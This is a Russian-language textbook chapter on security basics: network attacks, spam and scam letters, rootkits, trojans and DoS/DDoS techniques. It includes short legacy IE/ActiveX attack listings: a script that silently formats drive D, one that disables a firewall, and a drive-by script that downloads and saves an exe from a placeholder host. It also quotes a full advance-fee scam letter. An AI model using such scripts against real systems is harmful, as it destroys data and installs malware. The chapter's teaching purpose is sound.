¦ Классическая модель безопасности – это мыльный пузырь?

¦ Основы информационной безопасности

¦ Некоторые разновидности сетевых атак

¦ Классификация угроз безопасности веб-серверов

Цель данной главы – сформировать у читателя базовое представление о том, что же такое компьютерная безопасность. Здесь же в деталях приводится авторитетная классификация угроз безопасности веб-серверов, призванная упорядочить знания и помочь разобраться в многообразии возможных атак и их реализации. Начнем первую главу с рассмотрения классической модели безопасности.

Предположим, что рассматриваемая нами система (в данном контексте будем говорить об операционных системах линейки Windows) защищена межсетевым экраном и антивирусом; ко всему прочему (а это, с точки зрения взлома, можно считать одним из ключевых моментов), пользователь работает не от прав администратора!

Насколько безопасна такая система? Попробуем выяснить это вместе.

Нужен ли нам антивирус? «Конечно же, нужен, – скажет абсолютное большинство. – Как без антивируса-то? Чем же мы будем защищаться?».

Диски надо регулярно проверять? Вдруг "киберзараза" тихо сидит и ждет, а потом в определенный день и час отформатирует жесткий диск.

Проверять, разумеется, лучше всего регулярно – как минимум раз в неделю, как это советуют специалисты по компьютерной безопасности. Надо проверять все носители информации: само собой разумеется, жесткий диск, конечно же, дискеты, флэш-карты и обязательно компакт-диски – совсем не важно, что это займет у вас некоторое время, ведь безопасность превыше всего.

Обновление антивирусных баз – это вообще святое. Базы недельной давности – уже древние. Поэтому риск "подцепить заразу" со старыми базами очень велик, и это прописная истина. Выход – базы надо обновлять регулярно.

Время идет, и в один прекрасный момент у вашего антивируса заканчивается срок лицензии (если он не бесплатный, конечно), и "страж" выдает сообщение, что надо бы купить ключик, а то программа не будет полноценно работать. Ну что ж, выход есть – надо найти ключ.

Одного антивируса явно недостаточно! Все мы знаем, что для обеспечения мало-мальски приличного уровня безопасности надо установить два антивирусных продукта, а чтобы они не конфликтовали – на разные системы. Все верно.

Все было сделано правильно и работало на ура… Ничего не предвещало беды… пока в один прекрасный день система не легла-таки под новым вирусом неизвестного происхождения. Файлы были хитро переписаны вирусным кодом и/или жесткий диск зверски отформатирован. Но ведь все было сделано правильно!

Вариант 1. Вы «подцепили заразу» раньше, чем ее сигнатуры успели попасть в базы вашего антивируса, к тому же вирусом оказался не классический EXE-файл, а HTML-страница. Почему бы и нет?

Механизм работы такого вируса реализуется через уязвимости браузера при обработке ActiveX-объектов. Итак, начнем веселый некролог системе следующим образом (листинг 1.1).

Листинг 1.1. Устанавливаем стартовую страницу браузера

<APPLET ID="Sh1 "

CLASSID="CLSID:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B">

</APPLET>

<script>

Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://fuckofflamers.ru");

</script>

Вариант 2. Звучит кощунственно: содержимое HTML-файла, подобно патологоанатому, методично «потрошит» винчестер. Невозможно? Еще как возможно! А вот и сценарий стартовой страницы (листинг 1.2).

Листинг 1.2. HTML-код, форматирующий диск D:

<script>

a=new ActiveXObject("WScript.Shell");

a.run("cmd /c format d:/y",0);

 </script>

Вышеописанный сценарий, внедренный злоумышленником в HTML-страницу, ни много ни мало незаметно форматирует диск, указанный в коде.

Продолжим веселый некролог.

Вариант 3. Система притормаживала, и на время игры в Counter Strike пользователь отключил антивирус. «Зараза» чувствует это и выполняет свою «культурную программу».

Вариант 4. Антивирус оказался беспомощным против нового упаковщика (упаковщик EXE-файлов, позволяющий скрыть исходный код вируса от антивирусной программы), к тому же PE-заголовок (часть EXE-файла, отвечающая за исполнение; в данном случае редактирование PE-заголовка выполнено с целью усложнения обнаружения антивирусом) вируса был мастерски отредактирован (листинг 1.3).

Листинг 1.3. Некоторый учебный пример модификации PE-заголовка

_PtchImSz:

mov eax, [esi + 0Ch] ; VirtualRVA(Last section)

add eax, [esi + 08h] ; VirtualSize(Last section)

mov [edi + 50h], eax

Вариант 5. «Зараза» успела отключить антивирус раньше, чем он ее обнаружил.

Эпикриз. Абсолютной защиты нет. Существующие варианты малоэффективны, занимают много времени и не способны обеспечить качественный уровень защиты.

Нужен ли нам брандмауэр?

Вопрос, что ли, ну совсем смешной. Конечно же нужен! А как без него-то вообще? Брандмауэр – это первый рубеж, стоящий на страже нашей безопасности, и это уже знают даже школьники! Брандмауэр – это святое. Agnitum, Zone Alarm – кому что нравится.

Итак, брандмауэр установлен и настроен. Можно ли сказать, что компьютер защищен?

Вариант 1. На межсетевой экран был натравлен новый эксплоит (программа, эксплуатирующая уязвимость), после чего «огненная стена» превратилась в дымящуюся дыру, а пароли выхода в Интернет стали достоянием «благочестивой общественности». В данном случае не важен механизм проникновения– идея в том, что практически ни один программный продукт не застрахован от уязвимостей. Следующий код на JavaScript (листинг 1.4) – лишь пример, но…

Листинг 1.4. Просто выгружаем наш межсетевой экран (на примере Agnitum)

set WShell = CreateObject("WScript.Shell")

WShell.Exec " Files\Agnitum\Outpost Firewall\outpost.exe"

WScript.Sleep 200

WShell.AppActivate "Agnitum", TRUE

WScript.Sleep 100

WShell.SendKeys "{F10}{DOWN}{UP}{ENTER}"

WScript.Sleep 100

WShell.SendKeys "{ENTER}"

ПРИМЕЧАНИЕ

Большинство из приведенных примеров подобного рода распознаются антивирусами как самый настоящий "зло-код" (рис. 1.1)!

Рис. 1.1. «Антивирус Касперского 7.0» распознал наш код как самого настоящего троянского коня

Вариант 2. Пароли «спионерили», используя уязвимости браузера: брандмауэр молчал как партизан, ведь в его правилах 80-й порт должен быть открыт! Пример (листинг 1.5) – реализация все того же ActiveXObject. Реакцию «Антивируса Касперского 7.0» смотрите на рис. 1.2.

Рис. 1.2. И опять наш «Касперский» оказался на высоте

Листинг 1.5. Реализация уязвимости IE посредством ActiveXObject!

<script>

var x = new ActiveXObject("Microsoft.XMLHTTP");

x.OpenC'GET', "http://www.example.com/1.exe", 0);

x.Send();

var s = new ActiveXObject("ADODB.Stream");

s.Mode = 3;

s.Type = 1;

s.Open();

s.Write(x.responseBody);

s.SaveToFile("C:\\example.exe", 2);

</script>

<script language="javascript">

 function preparecode(code)

{ result = "";

lines = code.split(/\r\n/);

for (i=0; i<lines.length; i++) {

line = lines[i];

line = line.replace(/*\s+/,"");

line = line.replace(/\s+$/,"");

line = line.replace(/'/g,"\'");

line = line.replace(/[\\]/g,"\\");

line = line.replace(/[/]/g,"%2f");

if (line != '') {

result += line +'\\r\\n';

}

}

return result;

}

function doit() {

mycode = preparecode(document.all.code.value);

myURL = "file:javascript:eval(" + mycode + "')";

window.open(myURL, "_media");

}

setTimeout("doit()", 5000);

</script>

</html>

Вариант 3. Ни брандмауэр, ни антивирус тут вообще ни при чем. Пароли «утекли» через очередную успешно реализованную уязвимость, например, в службе LSASS (Local Security Authority Sub System). Благо же служб и сервисов у Windows предостаточно, а переполнение буфера никто не отменял. Приводить исходный код подобного вируса, пожалуй, вообще нет смысла.

Теперь попробуем разобраться, от чьих прав безопаснее осуществлять работу: администратора или пользователя.

Разумеется, пользователя! Все знают, что любой код, запущенный с правами администратора (к вирусам это тоже, конечно, относится), может куда больше, чем с правами "смертного" пользователя.

В качестве яркого примера, иллюстрирующего "всемогущие" возможности имени администратора, можно привести следующий код (листинг 1.6). Данный HTML-код, запущенный от имени пользователя, можно считать довольно безобидным, но только до тех пор, пока он не будет запущен от имени администратора.

Листинг 1.6. Наш учебный код

<HTML>

OBJECT CLASSID='CLSID:10000000'

CODEBASE='C:\Windows\system32\logoff.exe'>

</OBJECT>

<HTML>

ПРИМЕЧАНИЕ

Приведенный сценарий, как и другие, использованные в тексте, не претендует на оригинальность (хотя бы потому, что определяется антивирусом) и является всего лишь примером.

А если человек постоянно работает от прав пользователя? Может ли это означать, что система защищена от выполнения кода, требующего административных привилегий? Да, действительно, работа с низкими привилегиями значительно повышает общий уровень безопасности системы (вспомнить хотя бы UNIX-системы, в которых работа без прав суперпользователя считается правилом хорошего тона), но не будем забывать про вредоносные программы, повышающие привилегии! Фантастика? Да никакая не фантастика.

Читателям, которые усомнятся, аргументируя свою уверенность тем, что сервисы вроде DepLoit или GetAdmin уже древность, а альтернативы им нет, достаточно лишь заглянуть на www.securityLab.ru.

Даже при условии, что пользователь постоянно использует run as (утилита, вызываемая из контекстного меню для вторичного входа в систему), войти в систему от "настоящего" администратора рано или поздно ему придется. "Зараза" почувствует это и выполнит свою программу.

Таким образом, наличие в системе антивирусной программы и межсетевого экрана, даже если учесть работу пользователя не от прав администратора, не может стать гарантией того, что система не будет взломана. Взлом системы с конфигурацией, описанной выше, может быть осуществлен даже непрофессионалом!

Прежде чем перейти к знакомству с основами информационной безопасности, резонно заметить, что объем приведенных материалов можно считать лишь ознакомительным, но никак не исчерпывающим руководством, в силу того что полное изложение данной темы выходит за рамки книги.

Итак, информационная безопасность (ИБ) – это процесс и состояние, при котором достигается приемлемый уровень защищенности информации в процессе ее использования.

Чтобы лучше понять, что же такое ИБ, зачем она нужна и какое состояние системы можно считать небезопасным, прежде всего необходимо уяснить себе, какие цели преследует эта самая ИБ.

Выделяют пять основных целей ИБ, среди которых самыми главными можно считать следующие:

¦ конфиденциальность;

¦ доступность;

¦ целостность.

Под конфиденциальностью понимается доступность информации только определенному кругу лиц (например, информация под грифом "секретно" предназначена исключительно для авторизованного персонала).

Под доступностью понимается возможность получения информации авторизованными пользователями в нужное для них время (например, банк предоставляет возможность осуществления транзакций посредством обращения пользователя к корпоративному сайту, при этом сайт должен быть доступен любому пользователю, подключившемуся к Интернету).

Под целостностью понимается гарантия существования информации в неискаженном, истинном виде (например, тот же банк должен быть уверен, что персональные данные, переданные в сеть пользователем, не искажены и верны).

Чтобы не возникло путаницы в определениях, терминах и понятиях, а также в вопросах, касающихся практического применения инструментов ИБ, уже достаточно давно были созданы стандарты информационной безопасности.

Наиболее известна оранжевая (по цвету обложки) книга Министерства обороны США. В этом документе определяется четыре уровня безопасности: D, С, В и А. По мере перехода от уровня D к А к надежности систем предъявляются все более жесткие требования. Уровни С и В подразделяются на классы C1, C2, В1, В2 и ВЗ. Чтобы система в результате процедуры сертификации могла быть отнесена к некоторому классу, ее защита должна удовлетворять оговоренным требованиям.

Вместе с тем следует упомянуть и британский стандарт BS 7799 "Управление информационной безопасностью. Практические правила", который лег в основу международного стандарта ISO/IEC 17799:2005, который, в свою очередь, стал базой для стандарта ISO/IEC 27001.

Следующим понятием ИБ, которое логически вытекает из представлений о стандартах информационной безопасности, является политика ИБ.

Итак, политика безопасности (от англ. security policy) представляет собой совокупность правил, установок и принципов, соблюдение которых обеспечивает приемлемый уровень безопасности/защищенности информационного пространства и инфраструктуры, непосредственно связанной с деятельностью рассматриваемой организации.

Результатом работы администратора безопасности должно стать создание документа политики ИБ.

При создании документа политики ИБ особое внимание необходимо обратить на следующие вопросы:

¦ что можно отнести к активам организации (данные, персонал, обслуживающая инфраструктура, материальные ценности);

¦ насколько чувствительна и секретна рассматриваемая информация;

¦ какие факторы и в каком объеме могут нанести фирме ущерб в информационном аспекте (идентификация угроз);

¦ насколько уязвима система для вторжения изнутри и снаружи (идентификация уязвимостей);

¦ каковы риски организации с учетом входных данных (угрозы, уязвимости, ущерб, активы) и что можно предпринять для минимизации этих рисков.

Определение рисков ИБ и их минимизация являются, пожалуй, ключевым моментом, определяющим актуальность и эффективность политики ИБ.

Как определить, является риск для организации большим или маленьким, приемлемым или недопустимым? В простейшем случае для выяснения степени риска можно воспользоваться матрицей рисков (табл. 1.1).

Из табл. 1.1 вовсе нетрудно догадаться, что величина риска является результатом произведения входных значений (угрозы и ущерба).

Как видно из таблицы, риск можно классифицировать по уровню:

¦ высокий;

¦ средний;

¦ низкий.

Таблица 1.1. Матрица рисков (согласно рекомендациям NIST "Risk Management Guide for Information Technology Systems")

Понятное дело, что если организация имеет дело с высоким риском, то его необходимо нейтрализовать или в крайнем случае минимизировать.

ПРИМЕЧАНИЕ

Если анализ системы показывает, что для минимизации и/или нейтрализации риска могут потребоваться слишком большие неоправданные затраты, то целесообразно отнести такой риск к категории приемлемых. Ущерб от атаки и затраты на ее предотвращение должны быть сбалансированы!

Как правило, система с высоким уровнем риска наиболее подвержена атакам. В зависимости от источника можно выделить по крайней мере два типа атак:

¦ внешние атаки;

¦ атаки, исходящие изнутри (чаще всего ассоциированы с действием инсайдеров).

В рамках следующего раздела мы поговорим с вами о некоторых разновидностях сетевых атак, которые, как вы уже догадались, в большей своей части относятся к внешним атакам.

Сетевые атаки уже достаточно давно стали фоном современного киберпространства. Похищение конфиденциальных данных, кража паролей доступа, дефейс (взлом, результатом которого становится подмена заглавной страницы сайта) сайтов и DDoS-атаки (Distributed Denial of Service – атака с использованием множества узлов для осуществления атаки на сервер-жертву) сегодня можно считать чем-то вроде привычной обстановки того, что мы называем компьютерной сетью. Интернет это или просто локальная сеть – особой разницы нет, так как любая сеть изначально предполагает обмен данными, взаимодействие между чем-то, посредством чего-то, а это, в свою очередь, как ни крути, создает все условия для перехвата, нарушения конфиденциальности и целостности информации.

Данный тип можно считать наиболее распространенным видом сетевых атак: уязвимости в операционных системах и программном обеспечении как находили, так и будут находить, ведь языки программирования невсесильны. Известный факт: чем больше размер кода, тем больше вероятность, что в нем существуют ошибки. Вот и получается: чем сложнее система, тем вероятнее, что она даст сбой. Парадоксально и закономерно одновременно.

Считается, что приложения на основе открытого кода, будучи более пластичными с точки зрения устранения программных ошибок, являются неким эталоном надежного программного кода. Для исправления вновь появившихся ошибок постоянно выпускают обновления, и, казалось бы, все не так уж и облачно. Но не тут-то было.

Недавно проведенные группой IT-специалистов при участии Министерства Национальной Безопасности США и Стэндфордского университета специальные исследования показали, что не существует Open Source-проектов с меньшим количеством ошибок, чем в программах с закрытыми исходными кодами. В последнее время сторонниками открытых проектов утверждается, что одним из главных преимуществ открытого кода является низкое количество ошибок по сравнению с закрытыми программами. Был проведен сравнительный анализ ста пятидесяти самых популярных Open Source-проектов и проприетарного кода более чем сотни компаний – более 60 млн строк на всех. Исследование показало, что Open Source-про-екты содержат ничуть не меньше ошибок, чем программы с закрытыми исходными кодами.

Какие именно ошибки программного кода компрометируют систему на атаку извне? Самые разнообразные. В качестве самого, пожалуй, яркого примера можно привести ошибку программного кода, посредством которого возможно переполнение буфера. Именно данная проблема (переполнение буфера) лежит в основе большинства уязвимостей и на сегодняшний день является самой распространенной в области безопасности сетевого ПО. Эта уязвимость активно используется вредоносным ПО, таким как компьютерные черви (например, CodeRed, Slammer, Lovesan) и вирусы. Указанная уязвимость с успехом применяется и для организации массированных DDoS-атак, что говорит само за себя.

Вновь обнаруженные уязвимости ПО регулярно публикуются на сайтах типа www.securityLab.ru. Обычно описание такой уязвимости включает в себя уровень ее опасности (например, критический) и содержит соответствующие программы для реализации данной уязвимости. При наличии подобной программы у атакующего осуществление атаки – дело самого ближайшего времени. В качестве горячего примера можно привести программу KaHt, эксплуатирующую уязвимость в службе DCOM RPC (уязвимы системы с первым сервис-паком). Не менее интересный пример SMBdie – программное средство, посредством которого возможно вызвать удаленный отказ в обслуживании (рис. 1.3).

Данный вид сетевых атак можно считать самым настоящим киберкощунством. Посудите сами: на мирный электронный ящик ничего не подозревающего хозяина лавинообразно посылается куча писем, содержание которых иногда может быть просто неприличным. Предложение о сотрудничестве, о выезде за границу, нигерийские письма, в которых ваш дядя из Гваделупы предлагает несметные сокровища.

Для организации атак подобного рода применяют специальные программы – мейл-бомберы. Такие приложения затопляют электронный почтовый ящик огромным количеством писем, обратный адрес которых фальшивый. Установить обратный адрес достаточно трудно даже по заголовку письма (HEAD), так как IP отправителя не имеет ничего общего с тем, что указан в заголовке. Для осуществления коварного плана злонамеренному пользователю достаточно знать адрес электронной почты жертвы.

Рис. 1.3. Программа SMBdie в действии

Большинство почтовых систем имеют антиспам-фильтры, защищающие клиентов от подобных сетевых вакханалий. Все, казалось бы, в розовом свете, но почему-то, несмотря на усиливающиеся беспрецедентные меры защиты от подобного рода атак, спам приходит и приходит. Все дело, наверное, в том, что алгоритмы распространения такого мусора умнеют параллельно с интеллектуализацией систем защиты.

Основным способом рассылки спамерских сообщений было и по-прежнему остается использование сетей, созданных на основе зомбированных систем ничего не подозревающих пользователей. Можно констатировать, что спамеры активно идут по пути наращивания мощностей и развития зомби-сетей.

В качестве горячего примера мейл-бомбинга будет более чем уместно привести следующее. Итак, привожу текст письма, отправителем которого является щедрый дядька из банановой республики, готовый поделиться миллионами, ради того чтобы вы согласились на маленькую услугу.

"FROM MR USMAN KAMAL

BILL AND EXCHANGE MANAGER

BANKOF AFRICA (BOA) OUAGADOUGOU BURKINA FASO".

Письмо отправлено мистером Усманом Камалом, финансовым менеджером Банка Африки.

Ну что ж, для начала неплохо. Управляющий банка и все такое. Читаем дальше.

Стоп! Далее идет нечто весьма и весьма странное, можно даже сказать, ужасное – "OUAGADOUGOU"! Ну что, может, все-таки, появилась тень сомнения?

Появилась и исчезла. Пройдя через Lingvo, "OUAGADOUGOU" оказалось замечательным городом Уагадугу, а вовсе не тайным заклинанием колдунов культа Вуду. "А "BURKINA FASO"? Это что?" – спросят многие. Буркина-Фасо – это государство в Западной Африке!

Читаем дальше.

«CONFIDENCIAL»

Ну, это понятно: значит, конфиденциально, секретно.

«DEAR FRIEND, I AM THE MANAGER OF BILL AND EXCHANGE AT THE FOREIGN REMITTANCE DEPARTMENT OF BANK OF AFRICA (B.O.A) HERE IN OUAGADOUGOU, BURKINA FASO».

Дорогой друг (они уже успели с вами подружиться), я менеджер по всем самым важным финансовым вопросам вышеназванного банка африканского гогода Уагадугу.

«IN MY DEPARTMENT WE DISCOVERED AN ABANDONED SUM OF $25 000 000 (TWENTY FIVE MILLION UNITED STATE DOLLARS) IN AN ACCOUNT THAT BELONGS TO ONE OF OUR FORIEGN CUSTOMER (MR. ANDREAS SCHRANNER FROM MUNICH, GERMANY) WHO DIED ALONG WITH HIS ENTIRE FAMILY IN JULY2006 IN A PLANE CRASH».

Читаем далее: в нашем подразделении, или отделе (что, впрочем, не так важно), мы обнаружили заброшенный, покинутый, ничей (вот так незадача) счет на $25 млн. Счет принадлежал иностранному клиенту – мистеру ANDREAS SCHRANNER из Германии, который трагически погиб в июле 2006 года вместе со всей своей семьей в авиакатастрофе.

«http://news.bbc.co.uk/1/hi/world/europe/859479.stm»

(ссылка на некий ресурс, доказывающий, что авария с указанным лицом действительно произошла)

Хм, ну что ж. По логике вещей, конечно, жалко погибшего, а как же быть с 25 млн американских долларов? Написавший это письмо утверждает, что счет никому не принадлежит. Намек что ли? Но пока это только не более чем намеки. Посмотрим, что нам пишут дальше.

"SINCE WE GOT THE INFORMATION ABOUT HIS DEATH, WE HAVE BEEN EXPECTING HIS NEXT OF KIN TO COME OVER AND CLAIM HIS MONEY BECAUSE WE CANNOT RELEASE IT, UNLESS SOMEBODY APPLIES FOR THE NEXT OF KIN OR RELATION TO THE DECEASED AS INDICATED IN OUR BANKING GUIDING AND LAW BUT UNFORTUNATELY WE LEARNT THAT HIS NEXT OF KIN DIED ALONG

WITH HIM IN THE PLANE CRASH.

THE BANKER GUIDELINE HERE A RESPONSABLE PERSON, AND WHO THE BANK CAN INTROSSTED THIS TREASURY AS UNCLAIMED FUND.

THE RESQUEST OF FORIEGNER AS NEXT OFKININHIS BUSINESS IS OCCASSIONED

BY THE FACT THAT THE CUSTOMER WAS A FOREIGNER AND A BURKINABE

CANNOT STAND AS NEXT OF KIN TO A FOREIGNER".

С момента получения нами информации о смерти клиента мы приложили все усилия, чтобы найти кого-нибудь из ближайших его родственников, но вынуждены признать, что все его родственники погибли в авиакатастрофе. Мы ищем подходящего человека (а такой подходящий именно вы и никто другой, будьте в этом уверены!) для обналичивания счета.

По логике вещей должен возникнуть вопрос: почему этот менеджер не может найти этого "нужного" человека там, в Африке? Ответ прост: этот человек должен быть иностранцем, то есть вы именно тот, кто идеально подходит для этой цели.

«I AGREE THAT 30% OFTHIS MONEYWILL BE FOR YOU AS A RESPECT TO THE PROVISION OF A FOREIGN ACCOUNT».

И вот здесь начинается самое интересное. Господин USMAN KAMAL предлагает нам 30 % от суммы, лежащей на счете, а это ни много ни мало 7 млн 500 тыс. американских долларов (!).

"10 % WILL BE SET ASIDE FOR ANY EXPENSES INCURRED DURING THE BUSINESS AND 60 % WOULD BE FOR ME.

HEREAFTER, I WILL VISIT YOUR COUNTRY FOR DISBURSEMENT ACCORDING TO THE PERCENTAGE INDICATED THEREFORE, TO ENABLE THE IMMEDIATE TRANSFER OF THIS FUND TO YOU AS ARRANGED".

10 % от этой суммы пойдут на "производственные" расходы, а 60 % он заберет себе. После чего Усман обещает приехать в нашу страну и уладить все вопросы, касающиеся срочного перевода денег.

"YOU MUST APPLY FIRST TO THE BANK AS RELATION OR NEXT OF KIN OF THE DECEASED INDICATING YOUR BANK NAME, YOUR BANK ACCOUNT NUMBER, YOUR PRIVATE TELEPHONE NUMBER AND YOUR FAX NUMBER FOR EASY AND EFFECTIVE COMMUNICATION AND LOCATION WHERE IN THE MONEY WILL BE

REMITTED".

Чтобы стать счастливым обладателем 30 % от указанной выше суммы, необходимо сделать совсем ничего, а именно: обратиться в соответствующий банк в качестве родственника погибшего, указав реквизиты своего банковского счета, включая свой личный номер телефона и факса.

"UPON RECEPIT OF YOUR REPLY, I WILL SEND TO YOU BY FAX OR EMAIL THE TEXT OF APPLICATION^

После того как мистер Усман получит ваш ответ, к вам на электронный ящик будет отправлена специальная форма заявления, которая понадобится для оговоренных выше транзакций.

«I WILL NOT FAIL TO BRING TO YOUR NOTICE THIS TRANSACTION IS HITCH-FREE AND THAT YOU SHOULD NOT ENTERTAIN ANY ATOM OF FEAR AS ALL REQUIRED ARRANGEMENTS HAVE BEEN MADE FOR THE TRANSFER».

Я обещаю, что все операции по переводу денег займут минимальное количество времени с минимальным для вас риском.

"YOU SHOULD CONTACT ME IMMEDIATELY AS SOON AS YOU RECEIVE THIS

LETTER.

TRUST TO HEAR FROM YOUIMMEDIATELY".

Постарайтесь ответить как можно быстрей.

«YOURS FAITHFULLY MR USMAN KAMAL».

С глубочайшим уважением, мистер Усман Камал.

ПРИМЕЧАНИЕ

Согласно статистике в 3 % случаев человек, получивший подобное письмо, уезжает в Африку… навсегда.

Сетевое сканирование портов включает в себя процесс автоматизированного выявления уязвимостей на удаленных системах с последующим захватом последних. В качестве сканеров подобного рода можно привести что-нибудь вроде XSpider, Essential Net Tools, Net Bios Scaner и многие другие, активно использующиеся теми, кому это надо (рис. 1.4).

Существуют специализированные системы, упрощающие процесс хакинга до максимума. В качестве горячего примера можно привести так называемые авторутеры (англ. root – дословно "корень", "корневая директория"; подразумевается полный захват системы) – программные комплексы, последовательно сканирующие большое количество машин. Следующим после обнаружения уязвимых систем шагом "захватчика" является процесс захвата системы с установкой специализированного вредоносного ПО (черви, троянские кони и руткиты (root kit), которые, в отличие от остальных, обнаружить в системе практически невозможно; также затруднительно и лечение системы).

Рис. 1.4. Утилита XSpider в действии

Преимущества таких автоматизированных систем очевидны: за считанное время автоматизация позволяет захватчику просканировать сотни тысяч систем.

В качестве горячего примера можно привести краткие описания следующих руткитов (взято с www.virusList.com), как нельзя лучше иллюстрирующих совсем не детские возможности современного вредоносного ПО:

¦ "AFXRootkit 2005 – это Open Source-руткит, написанный на Delphi; использует code injection и hooks Windows native API для сокрытия своего процесса, modules, handles, files, ports, registry keys и т. д.";

¦ "FU Rootkit: FU может прятать процессы, поднимать привилегии процесса, обманывать Windows Event Viewer, так что суды невозможны! И даже прячет драйверы устройств (!). И все это без какого-либо взлома".

До недавнего времени обнаружение руткитов представляло довольно сложную с технической точки зрения процедуру, однако сейчас существует достаточное количество спецсредств для обнаружения подобных вредоносных модулей. В качестве примера можно привести "Антивирус Касперского 7.0" (рис. 1.5).

Рис. 1.5. Включение модуля обнаружения руткитов

Симптоматика вирусного заражения обычно следующая: заражение исполняемых файлов (EXE, COM), сопровождаемое аномальным поведением при запуске, «чудо-форматирование дисков», необратимое подвисание системы и т. п.

Из Сети такое чудо можно получить известным способом – через почтовые прикрепления либо скачав суперускоритель браузера.

Троянские кони, в отличие от вирусов, не характеризуются особо страшной деструктивностью, но от этого менее коварным этот вид программ назвать нельзя. Суть сетевой атаки с использованием троянских коней проста: на машину жертвы любым из известных способов "заливается" программа, которая впоследствии, в зависимости от своей функциональной принадлежности, крадет персональные данные с последующей пересылкой "награбленного" своему хозяину, удаленно управляет системой (так называемый backdoor – бэкдор), выполняет функции прокси-сервера (понятно, зачем), участвует в организации DDoS и т. д.

Чтобы лучше представить себе некоторые из возможностей шпионских программ и их роль в организации сетевых атак, будет более чем уместно привести следующее описание (источник www.viruslist.com).

"A-311 Death Full (бэкдор) – это новая, продвинутая система удаленного администрирования с множеством возможностей. Рассмотрим основные из них:

¦ после установки программа работает из-под системных приложений;

¦ невидимость с момента инсталляции;

¦ невидимость слушающих портов;

¦ полный и совершенный контроль над файловой системой: копирование, переименование, удаление файлов и папок, создание новых папок;

¦ вывод файлов/папок по заданной маске (включая refresh), а также возможность показывать растровые изображения поверх всех окон и проигрывать WAV-файлы внутренними средствами сервера (при щелчке правой кнопкой мыши на названии соответствующего файла в меню появится дополнительный раздел), отправлять файлы посредством электронной почты прямо из файл-менеджера;

¦ запуск приложений одним щелчком кнопкой мыши, просмотр/изменение атрибутов файлов, управление реестром (в Windows 2000/XP управление с правами SYSTEM, но только после перезагрузки): создание, переименование, удаление ключей и параметров;

¦ перезагрузка/выключение компьютера/выход пользователя;

¦ обнуление содержимого CMOS;

¦ отключение дисковода и отключение/включение монитора". Комментарии, как говорится, излишни.

ПРИМЕЧАНИЕ

Описание носит ознакомительный характер. Автор не несет никакой ответственности за использование конкретных приведенных материалов в злонамеренных целях.

Что касается сетевых атак, организованных посредством червей, то тут следует сказать следующее: в основах механизмов распространения червей стоят многочисленные дыры ПО, «новопоявления» которых очень часто сопровождаются созданием нового червя. По логике вещей можно было бы предположить: новая дыра – новый червь. Но не следует забывать про многочисленные модификации компьютерных червяков, которые как раз и являются причиной массовых интернет-эпидемий.

На сегодняшний день DDoS-атаки являются одними из самых опасных с точки зрения последствий. Посудите сами: крупный обслуживающий банковский сервер, который на некоторое время (пусть даже на полчаса) приостановил свою работу, создает убытки, исчисляемые десятками и даже сотнями тысяч долларов. А каковы будут убытки, если сервер замолчит на сутки?

Данный вид атаки в большинстве случаев не требует сверхусилий со стороны атакующего и поэтому доступен многим из тех, кому это надо.

Чем же принципиально отличаются DoS и DDoS от других сетевых атак? Наверное, тем, что цели таких атак не сводятся к получению тотального доступа к вашей сети или разведыванию какой-либо конфиденциальной информации. Нападения подобного рода используются в первую очередь для подрыва нормального функционала системы (это как раз тот случай, когда можно говорить о "нарушении доступности", – см. разд. 1.2) за счет обработки пакетов или траты системных ресурсов. Подобные нападения имеют несколько разновидностей.

UDP flood представляет собой атаку, при которой на определенный адрес системы-мишени осуществляется отправка множества пакетов UDP (User Datagram Protocol – дополнительный компонент протокола TCP, поддерживающий выполняющуюся без подключений службу датаграмм, не гарантирующую ни доставку, ни правильную последовательность доставленных пакетов). В настоящее время подобный вид атак применяется все реже: особенностью UDP-отправите-лей является возможность их легкого обнаружения, что связано с отсутствием шифрования протоколов TCP и UDP на уровне взаимодействия управляющего атакой и машинами-зомби.

ICMP flood – атака посредством ICMP-протокола (Internet Control Message Protocol – обязательный управляющий протокол в наборе протоколов TCP/IP, сообщающий об ошибках и обеспечивающий связь между узлами сети. Именно протокол ICMP используется программой Ping для обнаружения и устранения неполадок TCP/IP).

Продолжая экскурс по ICMP, более чем уместно упомянуть о так называемой атаке Smurf, представляющей собой пинг-запросы ICMP по адресу направленной широковещательной рассылки с использованием в пакетах этого запроса фальшивого адреса источника. В основе Smurf-атаки стоит использование Smurf-пинг-запросов по адресу направленной широковещательной рассылки. Используемый в пакетах этого запроса фальсифицированный адрес источника совпадает с адресом атакуемого. Системы, получившие направленный широковещательный пинг-запрос, как им и положено, исправно на него отвечают (естественно, тому, от кого пришел запрос). Результатом такого ответа является затопление атакуемого большим количеством сетевых пакетов, что, в конечном счете, приводит к отказу в обслуживании.

TCP SYN Flood имеет место, в случае если клиент пытается установить TCP-со-единение с сервером, что требует обмена определенной последовательностью сообщений. Сначала клиентская система посылает SYN-пакет на сервер. После этого сервер подтверждает получение SYN-пакета, отсылая SYN-ACK-сообщение клиенту. Затем клиент завершает установку соединения, отвечая сообщением ACK, и затем снова должен произойти обмен данными. В точке, где система сервера послала подтверждение (SYN-ACK) назад клиенту, но еще не получила сообщения ACK, устанавливается полуоткрытое соединение. «Фишка» в том, что параметры, касающиеся всех ждущих обработки соединений, располагаются в оперативной памяти сервера, которая не безразмерна, разумеется. Если преднамеренно создать большое количество частично открытых соединений, то память переполнится, и система подвиснет.

Атаки Ping of Death заставляют системы реагировать непредсказуемым образом при получении слишком больших IP-пакетов. TCP/IP поддерживает максимальный размер пакета в 65 Кбайт (как минимум 20 байт информации в IP-заголовке, некоторое количество дополнительной информации и остальная часть пакета, содержащая основные данные). Атаки Ping of Death могут вызвать крушение, зависание и перезагрузку системы.

Tribe Flood Network (TFN) и Tribe Flood Network 2000 (TFN2K) являются распределенными инструментальными средствами, обычно запускающими скоординированные DoS-атаки из многих источников на одну или несколько целей. Использование TFN-атаки дает возможность генерировать пакеты с фальшивыми IP-адресами источника. Механизм атаки приблизительно таков: злонамеренный пользователь посылает с главного компьютера команды нападения на список TFN-серверов или демонов. Затем демоны генерируют указанный тип DoS-атаки на один или несколько IP-адресов жертв. IP-адреса и порты источника атаки могут изменяться совершенно случайным образом, как и размеры пакетов.

Высокая эффективность современных DDoS-атак достигается путем модификации и комбинирования отдельных ее видов. Уже упомянутые TFN и TFN2K позволяют одновременно инициировать атаки нескольких типов: Smurf, UDP flood, ICMP flood и TCP SYN flood, – что делает их мощным инструментом для подобных задач. Пересылка команд и параметров при этом умело замаскирована в передаваемых данных, чтобы не вызвать подозрений у защитного ПО.

